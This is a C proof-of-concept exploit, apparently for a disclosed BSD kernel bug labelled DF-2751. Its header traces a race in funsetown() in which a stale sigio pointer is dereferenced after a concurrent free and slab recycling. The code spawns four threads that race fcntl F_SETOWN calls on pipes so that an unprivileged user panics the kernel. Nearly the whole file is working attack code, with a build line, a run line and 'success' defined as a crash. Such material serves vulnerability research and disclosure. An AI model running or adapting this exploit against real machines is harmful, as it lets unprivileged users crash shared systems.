/*
 * DF-2751 PoC: funsetown() KKASSERT race -- stale pre-token load of
 * *sigiop is dereferenced after a concurrent fsetown() frees (and
 * slab-recycles) the struct sigio it points to.
 *
 * sys/kern/kern_descrip.c:1239-1252 (funsetown):
 *
 *      if ((sigio = *sigiop) != NULL) {           <-- (L1) load, NO token
 *              lwkt_gettoken(&sigio_token);
 *              KKASSERT(sigiop == sigio->sio_myref); <-- (D) derefs the
 *                                                       L1 value, can be
 *                                                       freed by now
 *              sigio = *sigiop;
 *              *sigiop = NULL;
 *              lwkt_reltoken(&sigio_token);
 *      }
 *      ... kfree(sigio, M_SIGIO) ...
 *
 * Callers that reach (L1) WITHOUT holding sigio_token:
 *   - fsetown(pgid == 0)        kern_descrip.c:1298-1301
 *     (fcntl(fd, F_SETOWN, 0) -- unprivileged)
 *   - pipe_close()              sys/kern/sys_pipe.c:1104
 *     (close of a pipe end whose peer direction owns the sigio)
 *   - funsetownlst() (owner process exit)  kern_descrip.c:1281-1287
 *
 * Race interleaving (this PoC, unprivileged, pipes only):
 *   T1 (victim):  fcntl(a0, F_SETOWN, 0)  -> funsetown(&pbA.sigio):
 *                 L1 loads X, then parks at lwkt_gettoken(sigio_token)
 *                 because T3 holds it.  Parking DROPS T1's pipe tokens
 *                 (LWKT soft tokens are released on block).
 *   T2 (killer):  fcntl(a0, F_SETOWN, pid) -> fsetown: acquires a0's
 *                 pipe tokens (now free) then sigio_token after T3;
 *                 token-held funsetown() frees X (the pointer T1
 *                 loaded) and installs a fresh X' at *sigiop.
 *   T3 (spray):   fcntl(b0, F_SETOWN, pid) -> its kmalloc(M_SIGIO)
 *                 (done before taking the token) recycles X's freed
 *                 48-byte chunk for pipe B: X->sio_myref becomes
 *                 &pbB.sigio.
 *   T1 resumes:   KKASSERT(&pbA.sigio == X->sio_myref == &pbB.sigio)
 *                 -> assertion fails -> kernel panic (INVARIANTS).
 *
 * Secondary mis-behaviour even when the recycled chunk still holds the
 * same sio_myref (assert passes): T1's post-assert reload picks up T2's
 * brand-new X' and frees it behind T2's back, silently uninstalling the
 * F_SETOWN the other thread just completed.
 *
 * INVARIANTS is enabled in the stock X86_64_GENERIC kernel config
 * (options INVARIANTS), so KKASSERT is compiled in on default builds.
 *
 * Build (guest, unprivileged):  cc -O2 -pthread -o funsetown_race funsetown_race.c
 * Run   (guest, unprivileged):  ./funsetown_race 300
 * Success: panic "assertion ... sio_myref ... failed" in funsetown, or
 * any fatal trap / guest death mid-run.
 */
#include <sys/fcntl.h>
#include <errno.h>
#include <err.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int a[2], b[2], c[2];
static volatile unsigned long v, k, s;
static volatile int stop;

static void *
victim_thr(void *arg)
{
	while (!stop) {
		/* fsetown(0) -> funsetown() with NO token held (L1 loader) */
		fcntl(a[0], F_SETOWN, 0);
		v++;
	}
	return (NULL);
}

static void *
killer_thr(void *arg)
{
	pid_t pid = getpid();

	while (!stop) {
		/* fsetown(pid): token-held funsetown() frees whatever is
		 * installed at *pbA.sigio right now, then installs fresh */
		fcntl(a[0], F_SETOWN, pid);
		k++;
	}
	return (NULL);
}

static void *
spray_thr(void *arg)
{
	pid_t pid = getpid();

	while (!stop) {
		/* churn pipe B's sigio: kmalloc (chunk recycling with
		 * sio_myref = &pbB.sigio) + token-held free */
		fcntl(b[0], F_SETOWN, pid);
		fcntl(b[0], F_SETOWN, 0);
		s++;
	}
	return (NULL);
}

static void *
spray2_thr(void *arg)
{
	pid_t pid = getpid();

	while (!stop) {
		fcntl(c[0], F_SETOWN, pid);
		fcntl(c[0], F_SETOWN, 0);
		s++;
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t t1, t2, t3, t4;
	int secs = 300;

	if (argc > 1)
		secs = atoi(argv[argv[1][0] == '-' ? 2 : 1]);

	if (pipe(a) < 0 || pipe(b) < 0 || pipe(c) < 0)
		err(1, "pipe");
	signal(SIGIO, SIG_IGN);

	printf("DF-2751: uid=%d racing funsetown() KKASSERT stale-load "
	    "for %ds...\n", getuid(), secs);
	fflush(stdout);

	pthread_create(&t1, NULL, victim_thr, NULL);
	pthread_create(&t2, NULL, killer_thr, NULL);
	pthread_create(&t3, NULL, spray_thr, NULL);
	pthread_create(&t4, NULL, spray2_thr, NULL);

	sleep(secs);
	stop = 1;
	pthread_join(t1, NULL);
	pthread_join(t2, NULL);
	pthread_join(t3, NULL);
	pthread_join(t4, NULL);
	printf("survived: victim=%lu killer=%lu spray=%lu (no panic in %ds)\n",
	    v, k, s, secs);
	return (2);
}
